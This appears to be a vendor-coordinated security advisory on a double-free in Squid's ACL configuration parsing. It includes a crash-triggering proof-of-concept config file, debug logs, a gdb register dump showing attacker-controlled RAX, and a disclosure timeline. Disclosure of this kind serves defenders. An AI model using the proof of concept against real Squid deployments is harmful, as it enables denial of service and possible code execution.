A Double-Free bug was found in Squid versions 4.14 and 5.0.5 when processing the "acl" directive on configuration files, more specifically the first and second addresses. This may allow arbitrary code execution on a Squid deployment on where the configuration files may be processed from untrusted sources. The following sample configuration file causes the overflow: # cat heap.conf acl localnet src 1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16 This is the relevant debug output using "/usr/local/sbin/squid -f heap.conf -N -X" 2021/02/09 11:25:10.856| 24,7| MemBlob.cc(130) syncSize: 5 was: 6 2021/02/09 11:25:10.856| 24,8| SBuf.cc(898) cow: SBuf113 no cow needed; have 35 2021/02/09 11:25:10.856| 3,5| cache_cf.cc(533) parseOneConfigFile: Processing: acl localnet src 1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16 2021/02/09 11:25:10.856| 28,9| Acl.cc(96) FindByName: ACL::FindByName 'localnet' 2021/02/09 11:25:10.856| 28,9| Acl.cc(102) FindByName: ACL::FindByName found no match 2021/02/09 11:25:10.856| 28,3| Acl.cc(233) ParseAclLine: aclParseAclLine: Creating ACL 'localnet' 2021/02/09 11:25:10.856| 28,4| Acl.cc(64) Make: src=0x555555e165d0 2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf253 created 2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf254 created 2021/02/09 11:25:10.856| 24,8| SBuf.cc(30) SBuf: SBuf255 created 2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf255 destructed 2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf254 destructed 2021/02/09 11:25:10.856| 24,8| SBuf.cc(70) ~SBuf: SBuf253 destructed 2021/02/09 11:25:10.856| 28,5| Ip.cc(222) FactoryParse: aclIpParseIpData: 1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16 2021/02/09 11:25:10.856| 28,9| Ip.cc(358) FactoryParse: aclIpParseIpData: '1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16' matched: non-IP pattern: %[^/]/%s 2021/02/09 11:25:10.856| 14,3| Address.cc(389) lookupHostIP: Given Non-IP '1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0': Name or service not known 2021/02/09 11:25:10.856| aclIpParseIpData: unknown first address in '1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16' Program received signal SIGSEGV, Segmentation fault. 0x0000555555af55e0 in Mem::AllocatorProxy::freeOne (this=, address=0x555555e15e80) at AllocatorProxy.cc:22 22 getAllocator()->freeOne(address); /home/aroldan/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\é' res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip() [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x4141414141414141 ("AAAAAAAA"?) $rbx : 0x0000555555c77f60 → 0x0000000900000009 $rcx : 0x0000555555dcd010 → 0x0003000200010004 $rdx : 0x39 $rsp : 0x00007fffffffe3c8 → 0x00005555558c4f93 → call 0x555555709d10 <_Z13self_destructv> $rbp : 0x0000555555e18da0 → "1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $rsi : 0x0000555555e15e80 → 0x0000000000000000 $rdi : 0x4141414141414141 ("AAAAAAAA"?) $rip : 0x0000555555af55e0 → mov rax, QWORD PTR [rax] $r8 : 0x0 $r9 : 0x3b4 $r10 : 0x0000555555e19120 → 0x0000000000000000 $r11 : 0x246 $r12 : 0x0 $r13 : 0x0000555555d67aa0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $r14 : 0x0000555555e0a220 → 0x0000555555c49f98 → 0x00007ffff787ef20 → mov rax, QWORD PTR [rip+0x9e619] # 0x7ffff791d540 $r15 : 0x00007fffffffe450 → 0x0000555555b37e3e → "FactoryParse" $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe3c8│+0x0000: 0x00005555558c4f93 → call 0x555555709d10 <_Z13self_destructv> ← $rsp 0x00007fffffffe3d0│+0x0008: 0x000000000000003d ("="?) 0x00007fffffffe3d8│+0x0010: 0x00007fffffffe450 → 0x0000555555b37e3e → "FactoryParse" 0x00007fffffffe3e0│+0x0018: 0x000000000000036e 0x00007fffffffe3e8│+0x0020: 0x0000555555b067d7 → pop rbx 0x00007fffffffe3f0│+0x0028: 0x00007fffffffe47c → 0x55e17eae00000000 0x00007fffffffe3f8│+0x0030: 0x00007fffffffe480 → 0x0000555555e17eae → 0x0000000000000000 0x00007fffffffe400│+0x0038: 0x0000555555e15e80 → 0x0000000000000000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x555555af55d9 mov rsi, rbp 0x555555af55dc pop rbp 0x555555af55dd mov rdi, rax → 0x555555af55e0 mov rax, QWORD PTR [rax] 0x555555af55e3 mov rax, QWORD PTR [rax+0x28] 0x555555af55e7 jmp rax 0x555555af55e9 nop 0x555555af55ea nop WORD PTR [rax+rax*1+0x0] 0x555555af55f0 mov rdi, QWORD PTR [rdi+0x10] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:AllocatorProxy.cc+22 ──── 17 } 18 19 void 20 Mem::AllocatorProxy::freeOne(void *address) 21 { → 22 getAllocator()->freeOne(address); 23 /* TODO: check for empty, and if so, if the default type has altered, 24 * switch 25 */ 26 } 27 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "squid", stopped 0x555555af55e0 in Mem::AllocatorProxy::freeOne (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555af55e0 → Mem::AllocatorProxy::freeOne(this=, address=0x555555e15e80) [#1] 0x5555558c4f93 → acl_ip_data::operator delete(address=) [#2] 0x5555558c4f93 → acl_ip_data::operator delete(address=) [#3] 0x5555558c4f93 → acl_ip_data::FactoryParse(t=) [#4] 0x5555558c68de → ACLIP::parse(this=0x555555e165d0) [#5] 0x5555559052ff → ACL::ParseAclLine(parser=, head=0x555555db9228 ) [#6] 0x55555571b712 → parse_acl(ae=) [#7] 0x55555571b712 → parse_line(buff=) [#8] 0x55555572055f → parseOneConfigFile(file_name=0x555555ddf520 "heap.conf", depth=0x0) [#9] 0x55555572127d → parseConfigFileOrThrow(file_name=0x555555ddf520 "heap.conf") ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── It can be easily exploitable too, because I control the value on RAX and the execution stopped at → 0x555555af55e0 mov rax, QWORD PTR [rax] 0x555555af55e3 mov rax, QWORD PTR [rax+0x28] 0x555555af55e7 jmp rax Environment information: - Squid release version: Tested on 4.14 and 5.0.5 - Operating System type and version: - Debian GNU/Linux bullseye/sid - Compiled with gcc (Debian 10.2.1-6) 10.2.1 20210110 Timeline: - 2021-02-08: Vulnerability discovered. - 2021-02-09: Vendor contacted. - 2021-02-10: Vendor replied asking to test for the vulnerability once the patch is available. - 2021-02-22: Vendor contacted again to check for updates. - 2021-02-22: Vendor replied that, although this bug is not worth hiding because of the nature of the exploitation environment. - 2021-02-24: Public disclosure References: - https://fluidattacks.com/advisories/morrison/ -- Andrés Roldán, +57-313-646-36-78 *___* *| >>|> fluid|___| attacks, we hack your software* -- Legal Notice